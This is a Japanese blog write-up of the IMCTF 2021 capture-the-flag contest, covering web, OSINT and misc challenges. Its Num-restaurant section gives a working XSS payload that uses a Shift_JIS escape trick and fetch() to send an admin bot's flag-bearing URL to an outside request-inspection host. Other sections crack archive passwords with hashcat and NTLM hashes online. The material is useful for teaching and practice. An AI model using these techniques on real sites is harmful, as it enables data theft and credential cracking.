プログラム系統備忘録ブログ

記事中のコードは自己責任の下でご自由にどうぞ。

IMCTF 2021 write-up

IMCTF 2021に、一人チームrotationで参加しました。そのwrite-up記事です。

コンテスト概要

2021/12/18(土) 12:00 +09:00 - 2021/12/19(日) 12:00 +09:00 の開催期間でした。他ルールはaboutページから引用します:

IMCTF 2021について
  IMCTFは名古屋大学CTF・競プロサークル(非公認) Ir0nMaiden が開催する初心者向けのCTFです。
  開催期間は 2021/12/18 12:00(JST) ~ 2021/12/19 11:59(JST)です。
  ジャンルは Web, Crypto, OSINT, Miscなどを予定しています。
  問題の不具合や運営への質問は公式 Discordサーバをご利用ください。
  運営からの連絡は CTFd の Notifications 機能およびTwitter、Discordを用います。コンテスト中以外の連絡は基本的にTwitterを用います。
  フラグは何度でも入力することができます。ただし一部の問題は回数制限が設けられています。その場合は問題文に記載がございます。
  誤ったフラグを入力することによる減点はありません。
  問題の点数は解かれた人数に応じて減少します(一部を除く)。
  問題サーバへ大量アクセスすることでフラグを入手できる問題はございません。一部の問題を除いて 10 回以上アクセスする必要はありません。
  有償のツールや環境でしか解くことができない問題はありません。
  チームで参加する場合はアカウントを共有するのではなく、Team 機能をご利用ください。
  本 CTF の開催期間終了後であれば是非 Writeup を公開ください。
フラグ形式
  フラグは imctf{} という形式をとります。例えば答えとなる文字列が THIS_IS_FLAG の場合、フラグは imctf{THIS_IS_FLAG} となります。
  フラグに使用可能な文字は数字、アルファベット、記号、ひらがな、カタカナ、漢字など、UTF-8 に含まれる文字の多くが含まれます。表示不可能な文字は基本的に含まれません。具体的な文字に関しての質問がある場合は上記の連絡先へご連絡ください。
(後略)

結果

正の得点を得ている53チーム中、11027点で5位でした。

最終の順位と得点

緑: 解けた問題

各種統計

環境

基本的にWindows+WSL2(Ubuntu)で、問題によってはWSL2(Kali Linux)やVirtualBox(REMnux)を使って取り組みました。

Windows

c:\>ver

Microsoft Windows [Version 10.0.19044.1415]

c:\>wsl -l -v
  NAME          STATE           VERSION
* Ubuntu        Running         2
  kali-linux    Stopped         2

c:\>

他ソフト

  • dnSpy v6.1.8 (.NET)
  • Google Chrome Version 96.0.4664.110 (Official Build) (64-bit)
  • Google Chrome Version 97.0.4692.56 (Official Build) beta (64-bit)
  • LibreOffice Version: 7.1.8.1 (x64)

WSL2(Ubuntu)

$ cat /proc/version
Linux version 5.10.60.1-microsoft-standard-WSL2 (oe-user@oe-host) (x86_64-msft-linux-gcc (GCC) 9.3.0, GNU ld (GNU Binutils) 2.34.0.20200220) #1 SMP Wed Aug 25 23:20:18 UTC 2021
$ cat /etc/os-release
NAME="Ubuntu"
VERSION="18.04.6 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.6 LTS"
VERSION_ID="18.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic
$ python3.8 --version
Python 3.8.0
$ python3.8 -m pip show pip | grep Version
Version: 21.3.1
$ python3.8 -m pip show IPython | grep Version
Version: 7.29.0
$ python3.8 -m pip show requests | grep Version
Version: 2.26.0
$ python3.8 -m pip show pycryptodome | grep Version
Version: 3.11.0
$ g++ --version
g++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

$ curl --version
curl 7.58.0 (x86_64-pc-linux-gnu) libcurl/7.58.0 OpenSSL/1.1.1 zlib/1.2.11 libidn2/2.0.4 libpsl/0.19.1 (+libidn2/2.0.4) nghttp2/1.30.0 librtmp/2.3
Release-Date: 2018-01-24
Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smb smbs smtp smtps telnet tftp
Features: AsynchDNS IDN IPv6 Largefile GSS-API Kerberos SPNEGO NTLM NTLM_WB SSL libz TLS-SRP HTTP2 UnixSockets HTTPS-proxy PSL
$ exiftool -ver
10.80
$

解けた問題

本CTFでは、問題によっては説明文にView Hintボタンがあり、それを押すとペナルティ等何もなしでヒントを見られます。速攻で全部見ていました。

[welcome] welcome🐢 (443 points, 39 Solves)

Ir0nMaidenの公式twitterアカウントからwelcome問を探し出してください!

問題文中の公式twitterアカウント箇所にはhttps://twitter.com/nu_cybersec/へのリンクが貼られています。見に行ってみるとwelcome🐢 フラグ形式 : imctf{画像中の文字列(スペース含む)}とのツイートがありました。画像は以下のものです:

ぱっと見では2行の文字列に見えますが、画像をクリックすると、上に白文字でもう1行あることが分かります。とりあえず改行は空白扱いでいいのかなあと思いながらフラグを提出してみると正解できました: imctf{1mc7f h3 y0uk050 74n05h1nd3 1773n3 n4k4y0ku y4773n3}

ちなみに、このwelcome問題の正解チーム数は39チームで、次のweb問題は47チームです。welcomeの設定は難しそうですね……。

君には、このクッキーが見えるか? http://104.196.236.136:31909

Hint
cookie is sweet? no he is weak.

Google Chromeで問題文中のURLを見に行くと、クリスマスモチーフのクッキー画像のあるWebページが表示されました。問題文のとおりにクッキーを探しに、F12を押して開発者ツールを開き、Applicationタブ左のツリーからCookiesを選ぶと、flagという名前で、値がcnVuX3J1bl9ydW5fYXNfZmFzdF95b3VfY2FuIQ==であるクッキーが保存されていました。=文字で終端しているのでBase64エンコードされていると予想をつけて、デコードしました:

In [2]: import base64

In [3]: base64.b64decode("cnVuX3J1bl9ydW5fYXNfZmFzdF95b3VfY2FuIQ==")
Out[3]: b'run_run_run_as_fast_you_can!'

多分前後を囲んでフラグにすればいいんだろうと思って提出してみると正解できました: imctf{run_run_run_as_fast_you_can!}

[web, easy] for stranger of storage🤠 (457 points, 34 Solves)

なんてこった!最悪だぜ!まさかそんなとこに置き忘れるなんて!
http://104.196.236.136:31002

Google Chromeで問題文中のURLを見に行くと、Toy Storyのウッディが頭を抱えている画像のあるWebページが表示されました。どこかに何かないかしばらく探していると、開発者ツールのApplicationタブ左のLocal Storage箇所に、Keyがwoody says、Valueが54,47,56,30,49,47,31,6c,49,48,52,6c,62,47,77,67,65,57,39,31,49,47,46,69,62,33,56,30,49,48,52,6f,5a,53,42,7a,64,48,4a,68,62,6d,64,6c,49,48,52,6f,61,57,35,6e,63,79,42,68,63,6d,55,67,61,47,46,77,63,47,56,75,61,57,34,6e,49,48,52,76,49,47,31,6c,43,6c,4e,30,63,6d,46,75,5a,32,55,67,64,47,68,70,62,6d,64,7a,43,6d,6c,74,59,33,52,6d,65,33,4e,30,63,6d,46,75,5a,32,56,66,64,47,68,70,62,6d,64,7a,58,32,46,79,5a,56,39,6f,59,58,42,77,5a,57,35,70,62,69,64,66,64,47,39,66,62,57,56,39,43,6b,46,70,62,69,64,30,49,47,35,76,49,47,52,76,64,57,4a,30,49,47,46,69,62,33,56,30,49,47,6c,30のものが保存されていることに気づきました。16進数表記のASCIIコードのようなのでデコードしました:

In [2]: "".join(map(lambda c: chr(int(c,16)),"54,47,56,30,49,47,31,6c,49,48,52,6c,62,47,77,67,65,57,39,31,49,47,46,69,62,33,56,30,49,48,52,6f,5a,53,42,7a,64,48,4a,68,62,6d,64,6c,49,48,52,6f,61,57,35,6e,63,79,42,68,63,6d,55,67,61,47,46,77,63,47,56,75,61,57,34,6e,49,48,52,76,49,47,31,6c,43,6c,4e,30,63,6d,46,75,5a,32,55,67,64,47,68,70,62,6d,64,7a,43,6d,6c,74,59,33,52,6d,65,33,4e,30,63,6d,46,75,5a,32,56,66,64,47,68,70,62,6d,64,7a,58,32,46,79,5a,56,39,6f,59,58,42,77,5a,57,35,70,62,69,64,66,64,47,39,66,62,57,56,39,43,6b,46,70,62,69,64,30,49,47,35,76,49,47,52,76,64,57,4a,30,49,47,46,69,62,33,56,30,49,47,6c,30".split(",")))
Out[2]: 'TGV0IG1lIHRlbGwgeW91IGFib3V0IHRoZSBzdHJhbmdlIHRoaW5ncyBhcmUgaGFwcGVuaW4nIHRvIG1lClN0cmFuZ2UgdGhpbmdzCmltY3Rme3N0cmFuZ2VfdGhpbmdzX2FyZV9oYXBwZW5pbidfdG9fbWV9CkFpbid0IG5vIGRvdWJ0IGFib3V0IGl0'

In [3]: import base64

In [4]: base64.b64decode(_2)
Out[4]: b"Let me tell you about the strange things are happenin' to me\nStrange things\nimctf{strange_things_are_happenin'_to_me}\nAin't no doubt about it"

In [5]: print(_4.decode())
Let me tell you about the strange things are happenin' to me
Strange things
imctf{strange_things_are_happenin'_to_me}
Ain't no doubt about it

フラグを入手できました: imctf{strange_things_are_happenin'_to_me}

[web, medium] not any more logging📜 (484 points, 21 Solves)

私たちにはもはやログなど必要ない。そう、リリースしたのだから。
http://104.196.236.136:33369

Hint
console

Google Chromeで問題文中のURLを見に行くと、I don't need log console clearと書かれたWebページが表示されました。Webページ中をマウスクリックすると、alertによるポップアップでwelcome to imctfと表示されました。ページのソースを見てみると、HTML中のscriptタグに難読化されたJavaScriptが記述されていました。

ひとまずヒントを見て、F12の開発者ツールのConsoleタブでPreserve logにチェックを入れた状態でWebページをクリックしてみました。しかしconsole.clear()が呼び出されている気配はありつつも、他には何も出力がありませんでした。

仕方がないので難読化されたJavaScriptを読み始めました。とりあえず16進数表記にエスケープされている文字列を手作業で解除していると、console[_0x4539af(0x12f)](_0x4539af(0x149)+"on't_need_logging_any_more}")なコードが見えました。フラグの一部に見えます。その後のエスケープ文字列を調べていると、'imctf{we_d'が見つかりました。試しにその2つを結合したものを提出してみると正解のフラグでした: imctf{we_don't_need_logging_any_more}

正解できた後に「console.logが何らかの方法で無力化されているのでは?」と思いついたので、開発者ツールのConsoleタブでconsole.log = (x) => alert(x)を実行してconsole.log関数を変更した後にWebページをクリックしてみると、imctf{we_don't_need_logging_any_more}imctf{is_this_flag?_final_answer?}と表示されました。多分こちらが想定解法だと思います。

[web, medium] Num-restaurant🍷 (500 points, 5 Solves)

Adminがお腹を空かせています。
ただ、嫌いなものがあるようです。
http://160.251.83.96:31415

配布ファイルとして、app.pyがありました:

import os
import random
import subprocess
import urllib.parse
from flask import Flask, request, Response

app = Flask(__name__)

def sanitize_price(price):
    if not price.isnumeric():
        return "10000000"
    return price

def sanitize_meal(meal):
    if not meal.isascii():
        return "Kasumi"
    #Is it possible to block XSS?
    return "".join([c for c in meal if ord(c) > 0x1f]).replace("\\", "\\\\").replace("\"", "\\\"").replace("'", "\\'").replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;").replace("http", "num")

@app.route("/")
def num_restaurant():
    niku = random.randint(1, 1000000)
    sushi = random.randint(1, 1000000)
    yasai = random.randint(1, 1000000)
    price = request.args.get("price")
    meal = request.args.get("meal")
    if (not price) or (not meal):
        script = ''
    else:
        script = f'''<script>
var text = "¥{sanitize_price(price)}{sanitize_meal(meal)}😋Yummy!!";
alert(text);
</script>
'''
    html = f"""<!DOCTYPE html>
<html lang="ja">
<head>
<title>Num-restaurant</title>
{script}
</head>
<body>
<h1>Welcome to Num-restaurant 🔥</h1>
<a href="?price={niku}&meal=Niku"><p style="font-size:200%;">¥{niku} / Niku🍖</p></a>
<a href="?price={sushi}&meal=Sushi"><p style="font-size:200%;">¥{sushi} / Sushi🍣</p></a>
<a href="?price={yasai}&meal=Yasai"><p style="font-size:200%;">¥{yasai} / Yasai🥗</p></a>
</body>
</html>
"""
    if request.args.get("encoding") == "shift_jis":
        return Response(html, content_type='text/html; charset=shift_jis')
        #No one uses it anymore, but I implemented it because I was born in 1997 and missed it.
    else:
        return Response(html, content_type='text/html; charset=utf-8')


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if request.method == "GET":
        return """
<!DOCTYPE html>
<html lang="ja">
<head>
<title>Give the food to Admin !!</title>
</head>
<body>
<h1>Give the food to Admin !!</h1>
<form action="/admin" method="post">
Query:
<input type="text" style="width:100px;" id="price" name="price" placeholder="10000">
<input type="text" style="width:100px;" id="meal" name="meal" placeholder="Niku">
<input type="hidden" id="encoding" name="encoding" value="utf-8">
<button type="submit">Submit</button>
</form>
</body>
</html>
"""
    else:
        url = f'http://160.251.83.96:31415?price={urllib.parse.quote(request.form["price"])}\
&meal={urllib.parse.quote(request.form["meal"])}\
&encoding={urllib.parse.quote(request.form["encoding"])}'
        try:
            flag = os.getenv("FLAG")
            cmd = f'chromium-browser --no-sandbox --headless --disable-gpu "{url}&flag={flag}"'
            subprocess.run(cmd, shell=True, timeout=3)
        except:
            return "Admin🥰Yummy!!"
        return "Admin🤤Yucky!!"

if __name__ == "__main__":
    app.run(debug=True, host='0.0.0.0', port=23141)

adminページにPOSTすると、クエリパラメーターにフラグを含めた状態で/ページを見にいってくれる問題です。そのためXSSを狙うことになります。

encodingパラメーターの値によっては、charset=shift_jisに指定している点がとても気になります。shift_jisといえば、通称ダメ文字と呼ばれる、2バイト目にバックスラッシュと同じ値を使う文字が存在するエンコーディングです。うまく使うとエスケープとして悪用できそうです。

この問題では、他にはpricemealパラメーターがあり、Pythonコードが出力するJavascriptコード中でvar text = "¥{sanitize_price(price)}{sanitize_meal(meal)}😋Yummy!!";という用途で使用されています。sanitize_mealではしっかりサニタイズしているように見えます。一方でsanitize_priceで使用しているisnumeric関数の挙動を試していると、非ASCIIの範囲でもTrueを返す文字が存在することが分かりました。今回の目的である、shift_jisエンコーディングでダメ文字になる文字を探してみました:

#!/usr/bin/env python3.8

for i in range(0x110000):
    c = chr(i)
    if c.isnumeric():
        try:
            sjis = c.encode("shift_jis")
            if sjis[-1] == ord("\\"):
                print(f"{i}, {c}, {sjis}")
        except(UnicodeEncodeError): pass
$ ./sjis_test.py
21313, 十, b'\x8f\\'
$

目的のダメ文字であるが存在してくれました。

XSSを狙う際に他に気をつける点として、sanitize_meal関数はクォートやhttp文字列をサニタイズしているため、String.fromCharCodeを使って回避します。XSS結果で通信させる関数にはFetch APIを、通信先には、Inspect HTTP request | Request Inspectorサービスを使うことにします。フラグ文字列を含むURLは、(Fetch APIの使い方を全然分かっていないので)btoaでBase64エンコードした状態でURLに含めることにします(今思うと+/が混ざるとまずかったのでは?)。関数XSSを狙う行の末尾は1行コメントで無効化してしまいましょう。これらを使ってソルバーを書きました:

#!/usr/bin/env python3.8

import requests

def escape_string_without_quotes(s):
    return "String.fromCharCode(" + ",".join(map(lambda c: str(ord(c)), s)) + ")"

REQUEST_INSPECTOR_URL = "https://requestinspector.com/inspect/01fqbzvz7rntghsxcxyaz6xeaz/"
target_url = escape_string_without_quotes(REQUEST_INSPECTOR_URL)
d = {
    "encoding": "shift_jis",
    "price": "十",
    "meal": f'";fetch({target_url}+btoa(document.URL)); //'
    }

BASE_URL = "http://160.251.83.96:31415"
# r = requests.get(BASE_URL, params=d)
# print(r.text)
requests.post(f"{BASE_URL}/admin", data=d)

ソルバーを実行すると、Request InspectorでGETリクエスト内容が表示されました:

GET /inspect/01fqbzvz7rntghsxcxyaz6xeaz/aHR0cDovLzE2MC4yNTEuODMuOTY6MzE0MTUvP3ByaWNlPSVFNSU4RCU4MSZtZWFsPSUyMiUzQmZldGNoJTI4U3RyaW5nLmZyb21DaGFyQ29kZSUyODEwNCUyQzExNiUyQzExNiUyQzExMiUyQzExNSUyQzU4JTJDNDclMkM0NyUyQzExNCUyQzEwMSUyQzExMyUyQzExNyUyQzEwMSUyQzExNSUyQzExNiUyQzEwNSUyQzExMCUyQzExNSUyQzExMiUyQzEwMSUyQzk5JTJDMTE2JTJDMTExJTJDMTE0JTJDNDYlMkM5OSUyQzExMSUyQzEwOSUyQzQ3JTJDMTA1JTJDMTEwJTJDMTE1JTJDMTEyJTJDMTAxJTJDOTklMkMxMTYlMkM0NyUyQzQ4JTJDNDklMkMxMDIlMkMxMTMlMkM5OCUyQzEyMiUyQzExOCUyQzEyMiUyQzU1JTJDMTE0JTJDMTEwJTJDMTE2JTJDMTAzJTJDMTA0JTJDMTE1JTJDMTIwJTJDOTklMkMxMjAlMkMxMjElMkM5NyUyQzEyMiUyQzU0JTJDMTIwJTJDMTAxJTJDOTclMkMxMjIlMkM0NyUyOSUyQmJ0b2ElMjhkb2N1bWVudC5VUkwlMjklMjklM0IlMjAvLyZlbmNvZGluZz1zaGlmdF9qaXMmZmxhZz1pbWN0ZnsxX2QwbjdfdzRuN183MF8zNDdfNUNfNG55bTByM30= HTTP/1.1
requestinspector.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip
Referer: http://160.251.83.96:31415/?price=%E5%8D%81&meal=%22%3Bfetch%28String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C105%2C110%2C115%2C112%2C101%2C99%2C116%2C111%2C114%2C46%2C99%2C111%2C109%2C47%2C105%2C110%2C115%2C112%2C101%2C99%2C116%2C47%2C48%2C49%2C102%2C113%2C98%2C122%2C118%2C122%2C55%2C114%2C110%2C116%2C103%2C104%2C115%2C120%2C99%2C120%2C121%2C97%2C122%2C54%2C120%2C101%2C97%2C122%2C47%29%2Bbtoa%28document.URL%29%29%3B%20//&encoding=shift_jis&flag=imctf{1_d0n7_w4n7_70_347_5C_4nym0r3}
Sec-Fetch-Dest: empty
Accept: */*
Accept-Language: en-US
Origin: http://160.251.83.96:31415
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

(後で気づきましたが、Referer箇所に平文でフラグが書かれてますね……)btoaでBase64エンコードして含ませている箇所をデコードします:

In [2]: base64.b64decode("aHR0cDovLzE2MC4yNTEuODMuOTY6MzE0MTUvP3ByaWNlPSVFNSU4RCU4MSZtZWFsPSUyMiUzQmZldGNoJTI4U3RyaW5nLmZyb21DaGFyQ29kZSUyODEwNCUyQzExNiUyQzExNiUyQzExMiUyQzExNSUyQzU4JTJDNDclMkM0NyUyQzExNCUyQzEwMSUyQzExMyUyQzExNyUyQzEwMSUyQzExNSUyQzExNiUyQzEwNSUyQzExMCUyQzExNSUyQzExMiUyQzEwMSUyQzk5JTJDMTE2JTJDMTExJTJDMTE0JTJDNDYlMkM5OSUyQzExMSUyQzEwOSUyQzQ3JTJDMTA1JTJDMTEwJTJDMTE1JTJDMTEyJTJDMTAxJTJDOTklMkMxMTYlMkM0NyUyQzQ4JTJDNDklMkMxMDIlMkMxMTMlMkM5OCUyQzEyMiUyQzExOCUyQzEyMiUyQzU1JTJDMTE0JTJDMTEwJTJDMTE2JTJDMTAzJTJDMTA0JTJDMTE1JTJDMTIwJTJDOTklMkMxMjAlMkMxMjElMkM5NyUyQzEyMiUyQzU0JTJDMTIwJTJDMTAxJTJDOTclMkMxMjIlMkM0NyUyOSUyQmJ0b2ElMjhkb2N1bWVudC5VUkwlMjklMjklM0IlMjAvLyZlbmNvZGluZz1zaGlmdF9qaXMmZmxhZz1pbWN0ZnsxX2QwbjdfdzRuN183MF8zNDdfNUNfNG55bTByM30=")
Out[2]: b'http://160.251.83.96:31415/?price=%E5%8D%81&meal=%22%3Bfetch%28String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C105%2C110%2C115%2C112%2C101%2C99%2C116%2C111%2C114%2C46%2C99%2C111%2C109%2C47%2C105%2C110%2C115%2C112%2C101%2C99%2C116%2C47%2C48%2C49%2C102%2C113%2C98%2C122%2C118%2C122%2C55%2C114%2C110%2C116%2C103%2C104%2C115%2C120%2C99%2C120%2C121%2C97%2C122%2C54%2C120%2C101%2C97%2C122%2C47%29%2Bbtoa%28document.URL%29%29%3B%20//&encoding=shift_jis&flag=imctf{1_d0n7_w4n7_70_347_5C_4nym0r3}'

フラグを入手できました: imctf{1_d0n7_w4n7_70_347_5C_4nym0r3}

[Misc, medium] no this site no life? 🎥 (490 points, 17 Solves)

クリスマスが盗まれたらしい。緑の怪物がやりやがった。どうしてかって?知ったことか。取り返したいなら、このファイルを使いな!

Hint
dp

配布ファイルとして、以下のreason.jsがありました:

const getflag=()=>{location_host=location.host,location.pathname;let e=document.getElementsByClassName("av-retail-m-nav-text-logo")[0].innerText,t=(document.getElementsByTagName("h1")[0].innerText,document.getElementById("nav-logo").innerText),n=document.getElementsByClassName("navFooterCopyright")[0].getElementsByTagName("span")[0].innerText,o=document.getElementsByClassName("nav_a")[34].innerText,a="";return a+=e[2]+e[3]+t[1]+n[34]+n[38],a+="{",a+=o[1]+e[2]+n[35],a+="_",a+=o[1]+e[4]+n[37]+e[1]+n[34],a+="_",a+=location_host[0]+n[37]+n[35],a+="_",a+=n[34]+location_host[0]+e[10],a+="_",a+=n[35]+e[2]+location_host[7]+e[4]+n[35],a+="_",a+=n[34]+e[10]+e[10],a+="_",(a+=n[35]+e[3]+n[37]+n[41]+n[41])+"}"};getflag();

const dp = 'B07PQNYBZ4'

整形して見やすくすると、"av-retail-m-nav-text-logo"等のDOM要素を取得して文字列を構築しているようです。ただしIMCTFサイトにはそれらのDOM要素は存在しませんでした。

ヒントのとおりにdp変数内容の'B07PQNYBZ4'で調べてみると、Amazon.co.jp: グリンチ (字幕版) : ベネディクト・カンバーバッチ, マイケル・ルシュール, ヤーロウ・チェイニー, クリス・メレダンドリ: Prime Videoがヒットしました。Amazonページ中で、開発者ツールのConsoleタブからgetflag関数を定義して実行してやると、フラグを入手できました: imctf{his_heart_was_two_sizes_too_small}

問題の説明文も、その映画と関係あるものなのでしょうか……?

[Misc, medium] sky tree nest xmas🗼 (493 points, 15 Solves)

スカイツリーのエレベーターで上に登ったことはあるかい?ドキドキするよね。もう一回、あのドキドキを体験したくて、こんなものを作ってみたんだけど、どうかな?

配布ファイルはskytree.7zですが、パスワードが掛かっていました。7-Zipで中のファイル名だけを確認すると、skytree2.7zpass2.txtが含まれているようでした。同様に何重にもパスワード付き圧縮されているのでしょう。

少し前に、hashcatというツールを使えばパスワードを破れることを知りました。せっかくなのでここで使ってみることにしました。この問題だけKali-Linuxを使っています。

7z2john.plを使うと、7zファイルからハッシュ値を取り出せるとのことです。また、hashcat --helpを見ると、7zファイル用のHash modeは11600と分かります。その他、調べたりググったりしながら試しました:

$ /usr/share/john/7z2john.pl skytree.7z | cut -d":" -f2 > 7z.hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
$ cat 7z.hash
$7z$2$19$0$$16$5421b7cc09324e566afb5aca403ac285$2334047572$48$48$110c500a87532f9724cc1fbff9891df606d951661ac0078c71bbc2197d900c968f6af7c4a34589f91c00100a88fae0b8$3$0b
$ hashcat --version
v6.1.1
$ hashcat --hash-type 11600 --attack-mode=3 ./7z.hash --show
$7z$2$19$0$$16$5421b7cc09324e566afb5aca403ac285$2334047572$48$48$110c500a87532f9724cc1fbff9891df606d951661ac0078c71bbc2197d900c968f6af7c4a34589f91c00100a88fae0b8$3$0b:1
$

hashcatの出力の、最後のコロン以降がパスワードのことです。つまり今回は1です。実際にそのパスワードを使うとskytree.7zを展開できました。

skytree.7zの中のpass2.txtの内容は7\r\nでした。そういう訳でskytree2.7zのパスワードに7を入力してみましたが、パスワードが合いませんでした。もう一度hashcatを試すと、パスワードが17と分かりました。どうやらパスワードは後ろに追加されていくようです。そこまで分かったのでソルバーを書きました:

#!/usr/bin/env python3.8

import subprocess

def extract(seven_zip_file_path, password):
    # Xだとサブフォルダーが出来る場合があるのでeで展開する
    subprocess.run(["7z", "e", "-y", f"-p{password}", seven_zip_file_path])

password = "1" # 最初のskytree.7zのパスワード
seven_zip_file_path = "skytree.7z"

for i in range(2, 10000):
    print(f"{i=}, {password=}")
    extract(seven_zip_file_path, password)
    seven_zip_file_path = f"skytree{i}.7z"
    with open(f"pass{i}.txt") as f:
        password += f.read().rstrip()

実行を始めてみましたが、WSL2でホスト側のファイルシステムにアクセスしているからか、パスワード文字数が数百文字に達したからか、結構な時間がかかりました。途中からは1つのファイルの展開に1秒ほどかかっていたように思います。実行開始から約15分後に、スカイツリーの高さを超えた635段階目でpass635.txtが見つからないエラーが発生して止まりました:

$ ./solve.py
(中略)
> i=635, password='1749996077069515391938978288768572560783556927721789210600009128252260661233402148904766357725985437181175843839676763071897934663215311092279412956738167382650521782196379192466435540404988915615107313445661651775600395686237257377861924798054849288989632865409232686602742746031375312965573211506229088340870023457842483419331666558501809996947956809458697151026324924407482020273853568978277420094083146391871557925456589862885193572481503448990248358132650794199451221318504423506546273113492091135310306241440573214313198000633880734850285056932408019274107757240833784152793924480866593098421994017746623107561416066512593384777'

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,12 CPUs Intel(R) Core(TM) i7-8700 CPU @ 3.20GHz (906EA),ASM,AES-NI)

Scanning the drive for archives:
1 file, 43826 bytes (43 KiB)

Extracting archive: skytree634.7z
--
Path = skytree634.7z
Type = 7z
Physical Size = 43826
Headers Size = 178
Method = LZMA2:48k 7zAES
Solid = -
Blocks = 1

Everything is Ok

Size:       47060
Compressed: 43826
Traceback (most recent call last):
  File "./solve.py", line 18, in <module>
FileNotFoundError: [Errno 2] No such file or directory: 'pass635.txt'
$

展開結果のファイルを見ると、skytree-xmass.webpがありました。しかし画像の内容は、クリスマスツリーとスカイツリーを見上げて撮影した写真で、フラグ文字列はありませんでした。「次はフォレンジックパート?」と思いながらいくつかコマンドを叩いていると、画像の説明としてフラグ文字列が設定されていました:

$ exiftool skytree-xmass.webp
ExifTool Version Number         : 10.80
File Name                       : skytree-xmass.webp
(中略)
Description                     : imctf{xmas_colored_skytree_is_bright}
Subject                         : type="Bag" are you happy hacking?
Title                           : skytree-nest-xmas
(後略)
$

フラグを入手できました: imctf{xmas_colored_skytree_is_bright}

なお、最初の7zのパスワードが提供されていなかったのはミスだったらしいです:

ShortArrow — Today at 4:40 PM
問題「misc : sky tree nest xmas🗼」にて、配布ファイルが足りない不具合がありました。

先ほど修正いたしました。引き続き、IMCTFをお楽しみください!

[Misc, medium] made of honey🍯 (494 points, 14 Solves)

100エーカーの森にもICT化の波は来ているらしい。ここ、はちみつ王国で怪しい影がうごめく。「よう!俺様テガー!今宵、クマ王子プー様はクリスマスパーティーにご出席らしい。やつのPCはお留守だ。今のうちにハチミツ金庫のパスワードを抜き取っちまおう。なんだこれ?」テガーはクリススー・エヴァンに見せてみた。「ああ、これは、プーが欲しがっているものだよ。これで新しいハチミツの産地を開拓するんだってね」

Hint
format is imctf{word1_word2_word3}

Hint
all lower case alphabet

配布ファイルとして、以下のwhere-is-hunny.txtファイルがありました:

word1:1002:NO PASSWORD*********************:29F98734E7AA3DF2454621FF3928D121:::
word2:1003:NO PASSWORD*********************:2A8CCE5C056D50FAA808457D0F229212:::
word3:1004:NO PASSWORD*********************:E694D490564D15954D68DE40B14F7BFE:::

29F98734E7AA3DF2454621FF3928D121のある列が、パスワードのハッシュ値に見えます。試していると、MD5のハッシュ値と同じ桁数であることが分かりました。MD5ならクラック用のレインボーテーブルが出回っているでしょうとググるとCrackStation - Online Password Hash Cracking - MD5, SHA1, Linux, Rainbow Tables, etc.が見つかりました。試してみると、それぞれのハッシュ値の元となる文字列が分かりました:

Hash Type    Result
29F98734E7AA3DF2454621FF3928D121    NTLM    google
2A8CCE5C056D50FAA808457D0F229212    NTLM    pixel
E694D490564D15954D68DE40B14F7BFE    NTLM    six

1つ目のヒントのとおりに並べて、フラグを入手できました: imctf{google_pixel_six}

[Misc, hard] pixels equal cells👾 (497 points, 10 Solves)

この世界には、どんなものでもExcelに変えてしまうという「神Excel師」なるものが存在するらしい。そいつは今夜、大切な画像をExcelに変えてしまいやがった。なんてことだ!そこの君、なんとかして元に戻せないかな?

配布ファイルとして、flag.xlsbファイルが与えられました。とりあえずLibre Officeで開こうとするとThe data could not be loaded completely because the maximum number of columns per sheet was exceeded警告が表示されました。Documentation/FAQ/Calc/Miscellaneous/What's the maximum number of rows and cells for a spreadsheet file? - Apache OpenOffice Wikiによるとmaximum number of columns: 1,024とのことなので、今回のファイルは1025列以上あるみたいです。

とりあえず見える範囲を見てみると、1つのセルが、1つのピクセルのRGB値の16進数表記であるように見えました。PythonスクリプトでExcelファイルを扱う方法を調べるとpandasというライブラリで実現できるとのことなので、インストールして変換スクリプトを書きました:

#!/usr/bin/env python3.8

import pandas
import cv2
import numpy as np

CSV_FILE_NAME = "flag.csv"

# .xlsbファイルのインポートには「pyxlsb」パッケージも必要
pandas.read_excel("flag.xlsb").to_csv(CSV_FILE_NAME, header=False, index=False)

csvData = []
with open(CSV_FILE_NAME) as f:
    for line in f:
        fields = []
        for field in line.split(","):
            fields.append(int(field, 16))
        csvData.append(fields)

height = len(csvData)
s = {len(line) for line in csvData}
assert len(s) == 1
width = next(iter(s))

image = np.zeros((height,width,3), np.uint8)
for (y, line) in enumerate(csvData):
    for (x, pixel) in enumerate(line):
        for i in range(3):
            image[y][x][i] = ((pixel >> (i*8)) & 0xFF)
cv2.imwrite("result.png", image)

今回はとりあえずCSVファイルを経由する方法を取りましたが、おそらくread_excel結果から直接内容を取得できると思います。実行して約2分半待つと、6000*3374サイズのPNGファイルを得られました。pandasライブラリでは1025列以上も扱えるようです。ブログ掲載用に10分の1サイズに縮小したものが以下の画像です:

筆記体は読み慣れていませんが、文脈エスパーによりフラグを入手できました: imctf{google_pixel_six_pro}

[Misc, medium] i wanna present🎁 (499 points, 8 Solves)

今夜はクリスマスイブ。ちゃんと貰えるように下準備をしておこう。いい子にしていたら貰えるって!ちゃんと準備が出来る子だもん。

104.196.236.136:12025

Hint
you are Santa Claus, right?

